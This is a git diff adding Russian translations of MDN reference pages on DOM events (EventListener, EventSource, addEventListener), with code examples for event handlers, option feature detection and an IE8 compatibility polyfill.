+<em><code>&lt;body&gt;</code></em>
+
+<em><code>    &lt;p&gt;Press any key or click the mouse to get the event type.&lt;/p&gt;
+    &lt;p&gt;Event type: &lt;span id="Etype" style="color:red"&gt;-&lt;/span&gt;&lt;/p&gt;</code></em>
+
+<em><code>&lt;/body&gt;
+&lt;/html&gt;</code></em></pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-event-type', 'Event.type')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4', '#dom-event-type', 'Event.type')}}</td>
+   <td>{{ Spec2('DOM4') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events', '#Events-Event-type', 'Event.type')}}</td>
+   <td>{{ Spec2('DOM2 Events') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/eventlistener/index.html b/files/ru/web/api/eventlistener/index.html
new file mode 100644
index 0000000000..02f50fb594
--- /dev/null
+++ b/files/ru/web/api/eventlistener/index.html
@@ -0,0 +1,88 @@
+---
+title: EventListener
+slug: Web/API/EventListener
+translation_of: Web/API/EventListener
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p>Интерфейс <code>EventListener</code> представляет собой объект, который может обработать событие, отправленное объектом {{domxref ("EventTarget")}}.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Из-за необходимости совместимости с унаследованным контентом, <code>EventListener</code> принимает функцию или объект с методом  <code>handleEvent()</code>. Это показано в <a href="#Example">примере</a> ниже.</p>
+</div>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Интерфейс не реализует и не наследует никаких свойств.</em></p>
+
+<h2 id="Method_overview" name="Method_overview">Синтаксис</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="#handleEvent()">handleEvent</a>(in Event event);</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<h3 id="handleEvent" name="handleEvent()">handleEvent()</h3>
+
+<p>Этот метод вызывается всякий раз, когда присходит событие того типа, для которого был зарегистрирован интерфейс EventListener.</p>
+
+<pre class="eval notranslate">void handleEvent(
+  in Event event
+);
+</pre>
+
+<h5 id="Parameters" name="Parameters">Параметры</h5>
+
+<dl>
+ <dt><code>event</code></dt>
+ <dd>Событие DOM {{ domxref("Event") }} для которого регистрируется обработчик.</dd>
+</dl>
+
+<h3 id="Remarks" name="Remarks">Примечания</h3>
+
+<p>Поскольку у интерфейса отмечен флаг <code><span class="nowiki">[function]</span></code>, все объекты JavaScript <a href="/en/JavaScript/Reference/Global_Objects/Function" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Function">Function</a> автоматически реализуют этот интерфейс. Вызов метода {{ manch("handleEvent") }} на такой реализации автоматически вызовет эту функцию.</p>
+
+
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate"><code>&lt;button id="btn"&gt;Нажми сюда!&lt;/button&gt;</code>
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js notranslate"><code>const buttonElement = document.getElementById('btn');
+
+// Добавим обработчик для события "click", предоставив callback.
+// Теперь по клику на элемент будет всплывать подсказка.
+
+buttonElement.addEventListener('click', function (event) {
+  alert('Событие вызвано функцией!');
+});
+
+// Теперь привяжем обработчик через объект, содержащий функцию
+
+buttonElement.addEventListener('click', {
+  handleEvent: function (event) {
+    alert('Событие вызвал handleEvent!');
+  }
+});</code></pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample('Пример')}}</p>
+
+
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{ spec("http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-EventListener","Document Object Model Events: EventListener","REC") }}</li>
+</ul>
diff --git a/files/ru/web/api/eventsource/index.html b/files/ru/web/api/eventsource/index.html
new file mode 100644
index 0000000000..85ab4c5bf3
--- /dev/null
+++ b/files/ru/web/api/eventsource/index.html
@@ -0,0 +1,121 @@
+---
+title: EventSource
+slug: Web/API/EventSource
+translation_of: Web/API/EventSource
+---
+<p>{{APIRef("Websockets API")}}</p>
+
+<p><code><font face="Open Sans, Arial, sans-serif">Интерфейс </font>EventSource</code> используется для получения серверных событий (Server-sent events). Он устанавливает соединение с сервером по HTTP и получает события в формате text/event-stream без закрытия соединения.</p>
+
+<p><span style="line-height: 1.5;">Вы можете присвоить атрибуту <code>onmessage</code> JavaScript-функцию для получения нетипизированных сообщений (то есть сообщений без поля </span><code style="font-size: 14px;">event</code><span style="line-height: 1.5;">). Вы так же можете вызвать функцию </span><code style="font-size: 14px;">addEventListener()</code><span style="line-height: 1.5;"> для прослушивания событий так же, как для любого другого источника событий.</span></p>
+
+<p>См. <a href="/en/Server-sent_events/Using_server-sent_events" title="en/Server-sent events/Using server-sent events">Using server-sent events</a> для более детальной информации </p>
+
+<h2 id="Method_overview" name="Method_overview">Методы</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="#close()">close</a>();</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes" name="Attributes">Свойства</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Attribute</td>
+   <td class="header">Type</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>onerror</code></td>
+   <td><code>{{ Interface("nsIDOMEventListener") }}</code></td>
+   <td>JavaScript-функция, вызываемая при появлении ошибки</td>
+  </tr>
+  <tr>
+   <td><code>onmessage</code></td>
+   <td><code>{{ Interface("nsIDOMEventListener") }}</code></td>
+   <td>JavaScript-функция, вызываемая при приходе сообщения без поля <code>event</code></td>
+  </tr>
+  <tr>
+   <td><code>onopen</code></td>
+   <td><code>{{ Interface("nsIDOMEventListener") }}</code></td>
+   <td>JavaScript-функция, вызываемая после открытия соединения</td>
+  </tr>
+  <tr>
+   <td><code>readyState</code></td>
+   <td><code><a href="/en/long" title="en/long">long</a></code></td>
+   <td>Состояние соединения, должно иметь одно из значений <code>CONNECTING</code>, <code>OPEN</code>, или <code>CLOSED</code>. <strong>Только для чтения</strong></td>
+  </tr>
+  <tr>
+   <td><code>url</code></td>
+   <td>{{ domxref("DOMString") }}</td>
+   <td><strong>Только для чтения</strong></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>В дополение к открытым атрибутам два внутренних атрибута, которые не открыты напрямую:</p>
+
+<dl>
+ <dt>reconnection time</dt>
+ <dd>Это время в миллисекундах, используемое для определения продолжительности ожидания после неудачной попытки соединения до повторного соединения</dd>
+ <dt>last event ID string</dt>
+ <dd>По-умолчания пустая строка. Сервер может отправлять сообщение с полем <code>id </code>для установки этого значения.</dd>
+</dl>
+
+<h2 id="Constants" name="Constants">Константы</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Constant</td>
+   <td class="header">Value</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>CONNECTING</code></td>
+   <td><code>0</code></td>
+   <td>Соединение устанавливается</td>
+  </tr>
+  <tr>
+   <td><code>OPEN</code></td>
+   <td><code>1</code></td>
+   <td>Соединение открыто, получение событий</td>
+  </tr>
+  <tr>
+   <td><code>CLOSED</code></td>
+   <td><code>2</code></td>
+   <td>Соединение не устанавливается, закрыто, или произошла фатальная ошибка</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<h3 id="close" name="close()">close()</h3>
+
+<p>Закрывает соединение, если оно существует и устанавливает атрибут <code>readyState </code>в значение<font face="Consolas, Liberation Mono, Courier, monospace"> <code>CLOSED</code>.</font> Если соединение уже закрыто, этот метод ничего не делает.<font face="Consolas, Liberation Mono, Courier, monospace"> </font></p>
+
+<pre class="eval">void close();
+</pre>
+
+<h6 id="Parameters" name="Parameters">Параметры</h6>
+
+<p>Нет</p>
+
+<h2 id="See_also" name="See_also">См. также</h2>
+
+<ul>
+ <li>{{ spec("https://html.spec.whatwg.org/multipage/comms.html#the-eventsource-interface","Server-Sent Events: The EventSource Interface","CR") }}</li>
+ <li><a href="/en/Server-sent_events/Using_server-sent_events" title="en/Server-sent events/Using server-sent events">Using server-sent events</a></li>
+</ul>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p>{{Compat("api.EventSource")}}</p>
+
+<div id="compat-mobile"></div>
diff --git a/files/ru/web/api/eventtarget/addeventlistener/index.html b/files/ru/web/api/eventtarget/addeventlistener/index.html
new file mode 100644
index 0000000000..84d6390438
--- /dev/null
+++ b/files/ru/web/api/eventtarget/addeventlistener/index.html
@@ -0,0 +1,499 @@
+---
+title: Метод EventTarget.addEventListener()
+slug: Web/API/EventTarget/addEventListener
+tags:
+  - DOM
+  - EventTarget
+  - addEventListener
+  - Обработчик
+  - Событие
+  - метод
+translation_of: Web/API/EventTarget/addEventListener
+---
+<p>{{apiref("DOM Events")}}</p>
+
+<p>Метод <code>EventTarget.addEventListener()</code> регистрирует определенный обработчик события, вызванного на {{domxref("EventTarget")}}.</p>
+
+<p>{{domxref("EventTarget")}} может быть {{domxref("Element")}}, {{domxref("Document")}}, {{domxref("Window")}}, или любым другим объектом, поддерживающим события (таким как <code style="font-style: normal;"><a href="/ru/docs/DOM/XMLHttpRequest" title="XMLHttpRequest">XMLHttpRequest</a></code>).</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><code><em>target.addEventListener(type, listener</em>[<em>, options</em>]<em>);
+target</em>.addEventListener(<em>type</em>, <em>listener</em>[, <em>useCapture</em>]);
+<em>target</em>.addEventListener(<em>type</em>, <em>listener</em>[, <em>useCapture</em>,
+<em>wantsUntrusted </em>{{Non-standard_inline}}]); // только Gecko/Mozilla </code></pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>type</code></dt>
+ <dd>Чувствительная к регистру строка, представляющая <a href="/en-US/docs/DOM/event.type" title="DOM/Event.type">тип прослушиваемого события</a>.</dd>
+ <dt><code>listener</code></dt>
+ <dd>Объект, который принимает уведомление, когда событие указанного типа произошло. Это должен быть объект, реализующий интерфейс {{domxref("EventListener")}} или просто <a href="/en-US/docs/JavaScript/Guide/Functions" title="JavaScript/Guide/Functions">функция JavaScript</a>.</dd>
+</dl>
+
+<dl>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>Объект <code>options</code>, который определяет характеристики объекта, прослушивающего событие. Доступны следующие варианты:
+ <ul>
+  <li><code>capture</code>:  {{jsxref("Boolean")}} указывает, что события этого типа будут отправлены зарегистрированному слушателю <code>listener</code> перед отправкой на <code>EventTarget</code>, расположенный ниже в дереве DOM.</li>
+  <li><code>once</code>: {{jsxref("Boolean")}} указывает, что слушатель должен быть вызван не более одного раза после добавления. Если <code>true</code>, слушатель автоматически удаляется при вызове.</li>
+  <li><code>passive</code>:  {{jsxref("Boolean")}} указывает, что слушатель никогда не вызовет <code>preventDefault()</code>. Если все же вызов будет произведен, браузер должен игнорировать его и генерировать консольное предупреждение. Пример {{anch("Улучшение производительности прокрутки с помощью passive true")}}</li>
+  <li>{{non-standard_inline}}<code> mozSystemGroup</code>: {{jsxref("Boolean")}} указывает, что слушатель должен быть добавлен в системную группу. Доступно только в коде, запущенном в XBL или в <a href="https://chrome.google.com/webstore/detail/open-with-firefox/poeacjbaiakjnaepdjgggojcjoajakmd">расширении Chrome</a>.</li>
+ </ul>
+ </dd>
+ <dt><code>useCapture</code> {{optional_inline}}</dt>
+ <dd>Если равно <code>true</code>, <code>useCapture</code> указывает, что пользователь желает начать захват. После инициализации захвата все события указанного типа будут отправлены в зарегистрированный <code>listener</code> перед отправкой в какой-либо <code>EventTarget</code> под ним в дереве DOM. События, восходящие вверх по дереву, не будут вызывать слушателей, которым назначено использовать захват. Смотрите <a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-flow" title="http://www.w3.org/TR/DOM-Level-3-Events/#event-flow">DOM Level 3 Events</a> для более детального объяснения. Значение <code>useCapture</code> по умолчанию равно <code>false</code>.
+ <div class="note"><strong>Note: </strong>Для прослушивателей событий прикреплённых к цели события, событие  находиться в целевой фазе, а не в фазах захвата или всплытия. События в целевой фазе инициируют все прослушиватели на элементе в том порядке, в котором они были зарегистрированы независимо от параметра <code>useCapture</code>.</div>
+
+ <div class="note"><strong>Note:</strong> <code>useCapture</code> не всегда был опциональным. Лучше указывать данный параметр для повышения совместимости.</div>
+ </dd>
+ <dt><code>wantsUntrusted</code> {{Non-standard_inline}}</dt>
+ <dd>Если равно <code>true</code>, слушатель будет получать сгенерированные события, посланные со страницы (по умолчанию равно <code>false</code> для chrome и <code>true</code> для обычных веб-страниц). Этот параметр доступен только в Gecko и в основном полезен для использования в дополнениях и самом браузере. Смотрите <a href="/ru/docs/Archive/Add-ons/Interaction_between_privileged_and_non-privileged_pages" title="Code snippets/Interaction between privileged and non-privileged pages">Взаимодействие между привилегированными и непривилегированными страницами</a> для примеров использования.</dd>
+</dl>
+
+<p>Прежде чем использовать определенное значение в объекте <code>options</code>, рекомендуется убедиться, что браузер пользователя поддерживает его, поскольку это дополнение, которое не все браузеры поддерживали исторически.</p>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p><code>undefined</code></p>
+
+<h2 id="Примечания_по_использованию">Примечания по использованию</h2>
+
+<h3 id="Обратный_вызов_прослушивателя_событий">Обратный вызов прослушивателя событий</h3>
+
+<p>Прослушиватель событий может быть задан либо как функция обратного вызова, либо как объект реализующий {{domxref("EventListener")}}, чей {{domxref("EventListener.handleEvent", "handleEvent()")}} метод служит как функция обратного вызова.</p>
+
+<p>Сама функция обранного вызова имеет те же параметры и возвращаемое значение что и метод <code>handleEvent()</code>; То есть обратный вызов принимает единственный параметр: объект основанный на {{domxref("Event")}} описывая событие, которое произошло и ничего не возвращая.</p>
+
+<p>Например, обратный вызов обработчика событий, который может использоваться для обработки {{event("fullscreenchange")}} и {{event("fullscreenerror")}} может выглядеть так:</p>
+
+<pre class="brush: js line-numbers language-js notranslate"><code class="language-js"><span class="keyword token">function</span> <span class="function token">eventHandler</span><span class="punctuation token">(</span><span class="parameter token">event</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">if</span> <span class="punctuation token">(</span>event<span class="punctuation token">.</span>type <span class="operator token">==</span> <span class="string token">'fullscreenchange'</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="comment token">/* Переключатель полноэкранного режима */</span>
+  <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="comment token">/* fullscreenerror */</span> <span class="punctuation token">{</span>
+    <span class="comment token">/* Ошибка переключателя полноэкранного режима */</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h3 id="Безопасная_проверка_поддержки_option">Безопасная проверка поддержки <code>option</code></h3>
+
+<p>В более старых версиях спецификации DOM третьим параметром <code>addEventListener</code> было логическое значение, указывающее, следует ли захватывать событие на этапе погружения. Со временем стало ясно, что необходимо больше вариантов. Вместо добавления дополнительных параметров в функцию (усложняя ситуацию при использовании необязательных значений) третий параметр был изменен на объект, который может содержать различные свойства, определяющие значения параметров для настройки слушателя событий.</p>
+
+<p>Поскольку старые браузеры (а также некоторые не слишком старые браузеры) по-прежнему предполагают, что третий параметр является логическим, возникает необходимость создания своего кода, чтобы разумно обрабатывать этот сценарий. Вы можете сделать это, используя функцию обнаружения для каждого из интересующих вас параметров.</p>
+
+<p>Например, если вы хотите проверить параметр <code>passive</code>:</p>
+
+<pre class="brush: js notranslate">var passiveSupported = false;
+
+try {
+  var options = Object.defineProperty({}, "passive", {
+    get: function() {
+      passiveSupported = true;
+    }
+  });
+
+  window.addEventListener("test", null, options);
+} catch(err) {}</pre>
+
+<p>Этот код создает объект <code>options</code> с геттером для свойства passive, устанавливающим флаг <code>passiveSupported</code> в <code>true</code>, если он вызван. Это означает, что если браузер проверяет значение свойства <code>passive</code> на объекте <code>options</code>, значение <code>passiveSupported</code> будет установлено в true; в противном случае он останется ложным. Затем мы вызываем <code>addEventListener</code>, чтобы настроить фальшивый обработчик событий, указав эти параметры для проверки опций, если браузер распознает объект в качестве третьего параметра.</p>
+
+<p>Для проверки поддержки использования какой-либо опции можно просто добавить геттер для нее, используя код, подобный тому, что показан выше.</p>
+
+<p>Если вы хотите добавить прослушиватель событий, использующий параметры, о которых идет речь, вы можете сделать это подобным образом:</p>
+
+<pre class="brush: js notranslate">someElement.addEventListener("mouseup", handleMouseUp, passiveSupported
+                               ? { passive: true } : false);</pre>
+
+<p>Здесь мы добавляем слушателя для события {{event ("mouseup")}} элемента <code>someElement</code>. Для третьего параметра, если <code>passiveSupported</code> имеет значение <code>true</code>, мы указываем объект <code>options</code> с <code>passive: true</code>; в противном случае мы знаем, что нам нужно передать логическое значение, и мы передаем <code>false</code> как значение параметра <code>useCapture</code>.</p>
+
+<p>Вы можете использовать стороннюю библиотеку, такую как <a href="https://modernizr.com/docs">Modernizr</a> или <a href="https://github.com/rafrex/detect-it">Detect It</a>, чтобы проверить поддержку необходимого свойства.</p>
+
+<p>Узнайте больше о <a href="https://github.com/WICG/EventListenerOptions/blob/gh-pages/explainer.md#feature-detection">EventListenerOptions</a> из  <a href="https://wicg.github.io/admin/charter.html">Web Incubator Community Group</a>.</p>
+
+<h2 id="Примеры"><span style='font-family: x-locale-heading-primary,zillaslab,Palatino,"Palatino Linotype",x-locale-heading-secondary,serif; font-size: 2.5rem;'>Примеры</span></h2>
+
+<h3 id="addEventListenerBasic" name="addEventListenerBasic">Добавление простого слушателя</h3>
+
+<p>Эти примеры демонстрируют как использовать <code>addEventListener()</code> для наблюдения за щелчками мышкой по элементу.</p>
+
+<h4 id="HTML_Содержимое">HTML Содержимое</h4>
+
+<pre class="brush: html notranslate">&lt;table id="outside"&gt;
+    &lt;tr&gt;&lt;td id="t1"&gt;один&lt;/td&gt;&lt;/tr&gt;
+    &lt;tr&gt;&lt;td id="t2"&gt;два&lt;/td&gt;&lt;/tr&gt;
+&lt;/table&gt;
+</pre>
+
+<h4 id="JavaScript_Содержимое">JavaScript Содержимое</h4>
+
+<pre class="brush: js notranslate">// Функция изменяет содержимое t2
+function modifyText() {
+  var t2 = document.getElementById("t2");
+  if (t2.firstChild.nodeValue == "три") {
+    t2.firstChild.nodeValue = "два";
+  } else {
+    t2.firstChild.nodeValue = "три";
+  }
+}
+
+// Добавляет слушателя событий для таблицы
+var el = document.getElementById("outside");
+el.addEventListener("click", modifyText, false);
+</pre>
+
+<p>В примере выше, <code>modifyText()</code> регистрирует слушателя для события click, используя <code>addEventListener()</code>. Клик в любом месте таблицы будет поднимать обработчик и запускать <code>modifyText()</code>.</p>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{EmbedLiveSample('Add_a_simple_listener')}}</p>
+
+<p>Если вам нужно передать параметры в слушателя, вы можете использовать анонимные функции.</p>
+
+<h3 id="Event_Listener_with_anonymous_function" name="Event_Listener_with_anonymous_function">Слушатель события с анонимной функцией</h3>
+
+<h4 id="HTML_Содержимое_2">HTML Содержимое</h4>
+
+<pre class="brush: html notranslate">&lt;table id="outside"&gt;
+    &lt;tr&gt;&lt;td id="t1"&gt;один&lt;/td&gt;&lt;/tr&gt;
+    &lt;tr&gt;&lt;td id="t2"&gt;два&lt;/td&gt;&lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="JavaScript_Содержимое_2">JavaScript Содержимое</h4>
+
+<pre class="brush: js notranslate">// Функция, изменяющая содержание t2
+function modifyText(new_text) {
+  var t2 = document.getElementById("t2");
+  t2.firstChild.nodeValue = new_text;
+}
+
+// Функция, добавляющая слушатель к таблице
+el = document.getElementById("outside");
+el.addEventListener("click", function(){modifyText("четыре")}, false);
+</pre>
+
+<p>Notice that the listener is an anonymous function that encapsulates code that is then, in turn, able to send parameters to the <code>modifyText()</code> function, which is responsible for actually responding to the event.</p>
+
+<h4 id="Результат_2">Результат</h4>
+
+<p>{{EmbedLiveSample('Event_Listener_with_anonymous_function')}}</p>
+
+<h3 id="Слушатель_события_со_стрелочной_функцией">Слушатель события со стрелочной функцией</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;table id="outside"&gt;
+    &lt;tr&gt;&lt;td id="t1"&gt;one&lt;/td&gt;&lt;/tr&gt;
+    &lt;tr&gt;&lt;td id="t2"&gt;two&lt;/td&gt;&lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js notranslate">// Function to change the content of t2
+function modifyText(new_text) {
+  var t2 = document.getElementById("t2");
+  t2.firstChild.nodeValue = new_text;
+}
+
+// Add event listener to table with an arrow function
+var el = document.getElementById("outside");
+el.addEventListener("click", () =&gt; { modifyText("four"); }, false);</pre>
+
+<h4 id="Результат_3">Результат</h4>
+
+<p>{{EmbedLiveSample('Event_listener_with_an_arrow_function')}}</p>
+
+<p>Обратите внимание: несмотря на то, что анонимные и стрелочные функции схожи, они имеют разные значения <code>this</code>.</p>
+
+<h2 id="Заметки">Заметки</h2>
+
+<h3 id="Why_use_addEventListener.3F" name="Why_use_addEventListener.3F">Зачем использовать <code>addEventListener</code>?</h3>
+
+<p><code>addEventListener</code> — это способ зарегистрировать обработчик события, описанный в документации W3C DOM. Вот список преимуществ его использования:</p>
+
+<ul>
+ <li>Позволяет добавлять множество обработчиков для одного события. Это особенно полезно для <a href="/en-US/docs/DHTML" title="DHTML">DHTML</a> библиотек или <a href="/en-US/docs/Extensions" title="Extensions">Mozilla extensions</a>, которые должны работать в условиях использования сторонних библиотек/расширений.</li>
+ <li>Предоставляет точный контроль фазы срабатывания(вызова) обработчика (захват или всплытие)</li>
+ <li>Срабатывает на любом DOM элементе, а не только на HTML элементах.</li>
+</ul>
+
+<p>Ниже описан другой, <a href="#Older_way_to_register_event_listeners">более старый способ регистрации обработчиков</a>.</p>
+
+<h3 id="Adding_a_listener_during_event_dispatch" name="Adding_a_listener_during_event_dispatch">Добавление слушателя во время обработки события</h3>
+
+<p>Если <code>EventListener</code> добавлен к <code>EventTarget</code> во время обработки события, он не будет вызван текущими действиями, но может быть вызван на более поздней стадии обработки события, при восходящей обработке.</p>
+
+<h3 id="Multiple_identical_event_listeners" name="Multiple_identical_event_listeners">Несколько одинаковых слушателей события</h3>
+
+<p>Если зарегистрировано несколько одинаковых <code>EventListener</code> на одном <code>EventTarget</code> с одинаковыми параметрами, дублирующиеся слушатели игнорируются. Так как одинаковые слушатели игнорируются, не требуется удалять их вручную с помощью метода <a href="/en-US/docs/DOM/EventTarget.removeEventListener" title="DOM/element.removeEventListener">removeEventListener</a>.</p>
+
+<h3 id="The_value_of_this_within_the_handler" name="The_value_of_this_within_the_handler">Значение <code>this</code> в обработчике</h3>
+
+<p>Обычно желательно передавать элемент, на котором сработал обработчик события, например, при использовании обобщённых обработчиков для схожих элементов. При добавлении функции при помощи <code>addEventListener()</code> значение переменной <code>this</code> меняется — заметьте, что значение <code>this</code> передаётся в функцию от вызывающего объекта.</p>
+
+<p>В примере выше значение переменной <code>this</code> внутри <code>modifyText()</code> при вызове событием клика равно таблице 't'. Это противоположно поведению, которое возникает, если обработчик добавлен в HTML-разметке:</p>
+
+<pre class="brush: html notranslate">&lt;table id="t" onclick="modifyText();"&gt;
+  . . .
+</pre>
+
+<p>Значение переменной <code>this</code> внутри <code>modifyText()</code> при вызове событием клика будет равно ссылке на глобальный (window) объект (или <code>undefined</code> при использовании <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a>)</p>
+
+<div class="note"><strong>Note:</strong> В JavaScript 1.8.5 введён метод <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function/bind" title="JavaScript/Reference/Global Objects/Function/bind">Function.prototype.bind()</a></code> , который позволяет указать значение, которое должно быть использовано для всех вызовов данной функции. Он позволяет вам легко обходить ситуации, в которых не ясно, чему будет равно this, в зависимости от того, в каком контексте будет вызвана ваша функция. заметьте, также, что Вам будет необходимо иметь внешню ссылку на слушатель, чтобы Вы могли удалить его позже.</div>
+
+<p>Пример с использованием <code>bind</code> и без него:</p>
+
+<pre class="brush: js notranslate">var Something = function(element) {
+  this.name = 'Something Good';
+  this.onclick1 = function(event) {
+    console.log(this.name); // undefined, так как this является элементом
+  };
+  this.onclick2 = function(event) {
+    console.log(this.name); // 'Something Good', так как в this передано значение объекта Something
+  };
+  element.addEventListener('click', this.onclick1, false);
+  element.addEventListener('click', this.onclick2.bind(this), false); // Trick
+}
+</pre>
+
+<p>Проблема в примере выше заключается в том, что Вы не можете удалить слушатель, вызванный с <code>bind</code>. Другое решение использует специальную функцию <code>handleEvent</code>, чтобы перехватывать любые события:</p>
+
+<pre class="brush: js notranslate">var Something = function(element) {
+  this.name = 'Something Good';
+  this.handleEvent = function(event) {
+    console.log(this.name); // 'Something Good', так как this является объектом Something
+    switch(event.type) {
+      case 'click':
+        // код обработчика...
+        break;
+      case 'dblclick':
+        // код обработчика...
+        break;
+    }
+  };
+
+  // В этом случае слушатели хранятся в this, а не в this.handleEvent
+  element.addEventListener('click', this, false);
+  element.addEventListener('dblclick', this, false);
+
+  // Вы можете напрямую удалять слушатели
+  element.removeEventListener('click', this, false);
+  element.removeEventListener('dblclick', this, false);
+}
+</pre>
+
+<h3 id="Legacy_Internet_Explorer_and_attachEvent" name="Legacy_Internet_Explorer_and_attachEvent">Наследство Internet Explorer и attachEvent</h3>
+
+<p>В Internet Explorer младше 9 версии, вы можете использовать <code><a href="http://msdn.microsoft.com/en-us/library/ms536343(VS.85).aspx">attachEvent</a></code> вместо стандартного <code>addEventListener</code>. Для поддержки IE, пример выше может быть модифицирован следующим образом:</p>
+
+<pre class="brush: js notranslate">if (el.addEventListener) {
+  el.addEventListener('click', modifyText, false);
+} else if (el.attachEvent)  {
+  el.attachEvent('onclick', modifyText);
+}
+</pre>
+
+<p>У <code>attachEvent</code> есть недостаток: <code>this</code> будет ссылаться на объект <code>window</code>, а не на элемент, на котором он был вызван.</p>
+
+<h3 id="Compatibility" name="Compatibility">Совместимость</h3>
+
+<p>Вы можете обойти методы <code>addEventListener</code>, <code>removeEventListener</code>, <code>Event.preventDefault</code> и <code>Event.stopPropagation</code> не поддерживаемы в IE 8 используя следующий код в начале Вашего скрипта. Этот код подерживает использование <code>handleEvent</code> и события <code>DOMContentLoaded</code>.</p>
+
+<div class="note">
+<p><strong>Note: </strong>useCapture не поддерживается, так как IE 8 не имеет альтернативного метода для этого. Также заметьте, что следующий код только добавляет поддержку IE 8. Также, он работает только при соблюдении стандартов: объявление DOCTYPE страницы обязательно.</p>
+</div>
+
+<pre class="brush: js notranslate">(function() {
+  if (!Event.prototype.preventDefault) {
+    Event.prototype.preventDefault=function() {
+      this.returnValue=false;
+    };
+  }
+  if (!Event.prototype.stopPropagation) {
+    Event.prototype.stopPropagation=function() {
+      this.cancelBubble=true;
+    };
+  }
+  if (!Element.prototype.addEventListener) {
+    var eventListeners=[];
+
+    var addEventListener=function(type,listener /*, useCapture (will be ignored) */) {
+      var self=this;
+      var wrapper=function(e) {
+        e.target=e.srcElement;
+        e.currentTarget=self;
+        if (listener.handleEvent) {
+          listener.handleEvent(e);
+        } else {
+          listener.call(self,e);
+        }
+      };
+      if (type=="DOMContentLoaded") {
+        var wrapper2=function(e) {
+          if (document.readyState=="complete") {
+            wrapper(e);
+          }
+        };
+        document.attachEvent("onreadystatechange",wrapper2);
+        eventListeners.push({object:this,type:type,listener:listener,wrapper:wrapper2});
+
+        if (document.readyState=="complete") {
+          var e=new Event();
+          e.srcElement=window;
+          wrapper2(e);
+        }
+      } else {
+        this.attachEvent("on"+type,wrapper);
+        eventListeners.push({object:this,type:type,listener:listener,wrapper:wrapper});
+      }
+    };
+    var removeEventListener=function(type,listener /*, useCapture (will be ignored) */) {
+      var counter=0;
+      while (counter&lt;eventListeners.length) {
+        var eventListener=eventListeners[counter];
+        if (eventListener.object==this &amp;&amp; eventListener.type==type &amp;&amp; eventListener.listener==listener) {
+          if (type=="DOMContentLoaded") {
+            this.detachEvent("onreadystatechange",eventListener.wrapper);
+          } else {
+            this.detachEvent("on"+type,eventListener.wrapper);
+          }
+          eventListeners.splice(counter, 1);
+          break;
+        }
+        ++counter;
+      }
+    };
+    Element.prototype.addEventListener=addEventListener;
+    Element.prototype.removeEventListener=removeEventListener;
+    if (HTMLDocument) {
+      HTMLDocument.prototype.addEventListener=addEventListener;
+      HTMLDocument.prototype.removeEventListener=removeEventListener;
+    }
+    if (Window) {
+      Window.prototype.addEventListener=addEventListener;
+      Window.prototype.removeEventListener=removeEventListener;
+    }
+  }
+})();</pre>
+
+<h3 id="Older_way_to_register_event_listeners" name="Older_way_to_register_event_listeners">Старый способ регистрации обработчиков событий</h3>
+
+<p><code>addEventListener()</code> был добавлен в спецификации DOM 2 <a href="http://www.w3.org/TR/DOM-Level-2-Events">Events</a>. До этого слушатели добавлялись следующим образом:</p>
+
+<pre class="brush: js notranslate">// Передача ссылки на функцию — не добавляйте '()' после него, это вызовет функцию!
+el.onclick = modifyText;
+
+// Использование функционального выражения
+element.onclick = function() {
+  // ... логика функции ...
+};
+</pre>
+
